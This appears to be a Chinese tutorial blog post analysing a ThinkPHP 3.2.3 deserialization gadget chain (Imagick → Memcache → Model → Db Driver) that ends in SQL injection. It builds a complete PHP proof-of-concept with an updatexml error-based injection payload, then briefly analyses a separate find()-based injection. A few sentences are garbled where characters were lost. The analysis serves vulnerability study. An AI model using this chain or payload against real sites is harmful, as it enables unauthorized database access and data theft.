thinkphp3.2.3反序列化初探
前言
摆了好几天,好几个人老说我前言说摆烂,确实是在摆烂,前两天浅学了一下thinkphp3,今天来学学thinkphp3反序列化链构造
反序列化链分析
首先我们需要通过thinkphp来一个反序列化的demo
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$a=unserialize(base64_decode(I('post.data')));
}
}
php的反序列化和java不同,php的反序列化起点大部分是那俩魔术方法__wakeup和__destruct,因此我们寻找反序列化链就需要去搜寻这种魔术方法,其实有个小技巧,就是在找反序列化起点的类的时候,尽可能去找可控变量多的类,因为可控变量多才能让我们控制程序的可能更大。
这里我们找到Think\Image\Driver\Imagick这个类,他这里的img属性可控
public function __destruct() {
empty($this->img) || $this->img->destroy();
}
这里判断了img是否为空并且调用了他的destory方法,注意这里的destroy方法是没有参数的,但是我们如果需要构造反序列化链,必须找到同名方法,所以继续去搜索destory方法,但是我们只能找到三个有一个参数的destory的方法,这里的话就有条件了,**在ThinkPHP框架中,调用一个有参函数却不传入参数,这在PHP5中可以这么执行,但在PHP7中却会异常抛出,因此要复现的话不能用PHP7的环境。**所以我们这里选择的是php5版本的,继续看代码,他调用了自身的handler属性的delete方法,但是这里的话只有this->sessionName可控,sessID因为是需要在上面__destruct方法中传入,但是他调用的是无参的方法。
继续往下走,寻找delete方法,来到ThinkPHP/Mode/Lite/Model.class.php。$options默认为空数组
可以看到他如果满足两个if判断的条件就会进入到pk],继续往下走,有个问题就是如果where为键的键值对为空,会直接返回false,解决办法也给出来了,就是设置where=1=1
继续寻找有delete方法的地方,找到ThinkPHP/Library/Think/Db/Driver.class.php
/**
* 删除记录
* @access public
* @param array $options 表达式
* @return false | integer
*/
public function delete($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
$sql = 'DELETE FROM '.$table;
if(strpos($table,',')){// 多表删除支持USING和JOIN操作
if(!empty($options['using'])){
$sql .= ' USING '.$this->parseTable($options['using']).' ';
}
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
}
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,',')){
// 单表删除支持order和limit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
}
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
}
继续跟进parseTable方法
protected function parseTable($tables) {
if(is_array($tables)) {// 支持别名定义
$array = array();
foreach ($tables as $table=>$alias){
if(!is_numeric($table))
$array[] = $this->parseKey($table).' '.$this->parseKey($alias);
else
$array[] = $this->parseKey($alias);
}
$tables = $array;
}elseif(is_string($tables)){
$tables = explode(',',$tables);
array_walk($tables, array(&$this, 'parseKey'));
}
return implode(',',$tables);
}
parseTable方法判断了一下$tables是否是数组,如果是数组,调用parseKey方法对其键和值进行处理,其实是很危险的,因为parseKey没有进行任何过滤
protected function parseKey(&$key) {
return $key;
}
因此这里就可以执行SQL语句,可以产生一个SQL注入了
反序列化链构造
首先入口点是ThinkPHP/Library/Think/Image/Driver/Imagick.class.php的__destruct方法,因此我们需要精心构造这个类并且序列化这个类来获得一个POC,因为需要调用$this->img->destory,所以需要带上img参数,先写出最开始的一步
<?php
namespace Think\Image\Driver{
use Think\Image;
class Imagick{
private $img;
}
}
他的下一步是ThinkPHP/Library/Think/Session/Driver/Memcache.class.php的destory方法,这里他是需要通过调用$this->handle->delete($this->sessionName.$sessID);
,因此需要把Memcache也写进来,并且带上handle属性
<?php
namespace Think\Image\Driver{
use Think\Image;
class Imagick{
private $img;
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
}
}
然后他需要去调用ThinkPHP/Mode/Lite/Model.class.php的delete方法,这里是有参数需要传入的,所以我们得考虑参数的问题,但是之前在分析的时候说了,需要满足两个if条件,此时pk]不为空和null,到现在为止目前的代码如下
<?php
namespace Think\Image\Driver{
use Think\Image;
class Imagick{
private $img;
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
}
}
下一步是调用ThinkPHP/Library/Think/Db/Driver.class.php的delete方法,现在就需要我们精心构造我们的this->parseTable(pk],也是
ThinkPHP/Mode/Lite/Model.class.php->data[$this->pk]`,并且在第一次的delete中where对应的值也是空,所以构造恶意的array后,代码如下
<?php
namespace Think\Image\Driver{
use Think\Image;
class Imagick{
private $img;
public function __construct(){
$this->img=new \Think\Session\Driver\Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->img=new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
public function __construct()
{
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
namespace Home\Controller{
use Think\Controller;
class DemoController extends Controller {
public function index(){
echo base64_encode(serialize(new \Think\Image\Driver\Imagick() ));
}
}
}
但是如果拿这个poc去打,会发现有问题
其实这里忽略了一个点,就是在执行sql语句的地方,ThinkPHP/Library/Think/Db/Driver.class.php->execute,他有这么一行代码$this->initConnect(true);
,他是进行一个初始化数据连接的操作,这里很明显是单数据库,所以要进入connect方法
/**
* 初始化数据库连接
* @access protected
* @param boolean $master 主服务器
* @return void
*/
protected function initConnect($master=true) {
if(!empty($this->config['deploy']))
// 采用分布式数据库
$this->_linkID = $this->multiConnect($master);
else
// 默认单数据库
if ( !$this->_linkID ) $this->_linkID = $this->connect();
}
connect方法如下
public function connect($config='',$linkNum=0,$autoConnection=false) {
if ( !isset($this->linkID[$linkNum]) ) {
if(empty($config)) $config = $this->config;
try{
if(empty($config['dsn'])) {
$config['dsn'] = $this->parseDsn($config);
}
if(version_compare(PHP_VERSION,'5.3.6','<=')){
// 禁用模拟预处理语句
$this->options[PDO::ATTR_EMULATE_PREPARES] = false;
}
$this->linkID[$linkNum] = new PDO( $config['dsn'], $config['username'], $config['password'],$this->options);
}catch (\PDOException $e) {
if($autoConnection){
trace($e->getMessage(),'','ERR');
return $this->connect($autoConnection,$linkNum);
}elseif($config['debug']){
E($e->getMessage());
}
}
}
return $this->linkID[$linkNum];
}
在第二个if判断,判断$config是否为空,为空则从自身的config从获取,在初始化方法中明显没有参数,所以这里直接从自身的config中获取,所以我们还需要初始化数据库的连接。最后poc如下
<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache {
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model {
protected $data=array();
protected $pk;
protected $options=array();
protected $db=null;
public function __construct()
{
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
'where'=>'1=1',
'table'=>'mysql.user where 1=updatexml(1,concat(0x7e,user(),0x7e),1)#'
);
}
}
}
namespace Think\Db\Driver{
use PDO;
class Mysql {
protected $config = array(
'debug' => true,
"charset" => "utf8",
'type' => 'mysql', // 数据库类型
'hostname' => 'localhost', // 服务器地址
'database' => 'thinkphp', // 数据库名
'username' => 'root', // 用户名
'password' => 'root', // 密码
'hostport' => '3306', // 端口
);
}
}
namespace Home\Controller{
use Think\Controller;
class DemoController extends Controller {
public function index(){
echo base64_encode(serialize(new \Think\Image\Driver\Imagick() ));
}
}
}
Thinkphp3.2.3 SQL注入
这里再补一个该版本的SQL注入分析吧,因为感觉如果要重新开一篇比较麻烦,直接就在这继续了。首先我们得制造一个漏洞点
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$data = M('User')->find(I('GET.id'));
var_dump($data);
}
}
ok,我们传入一个id参数,然后用I方法获取。并且调用了find方法,这里的问题就是出在find方法,来随便看看吧
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
这里判断了options是数字或者字符串,如果是的话,直接指定当前查询表的主键为查询字段。同时他也提供了根据复合主键查找记录的功能
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
他是先判断options是否是一个长度大于0的数组并且pk也是一个数组,满足以上条件才能进入if语句,这里的话有两个if语句,但是我们可以直接绕过这两个if语句直接进入到$options=$this->_parseOptions($options);
部分,不满足第一个if需要options是一个数组,满足第二部分需要options数组长度大于0并且pk需要是一个数组,我们现在只要让pk不是数组即可绕过,后面的话就是正常的构造注入语句了。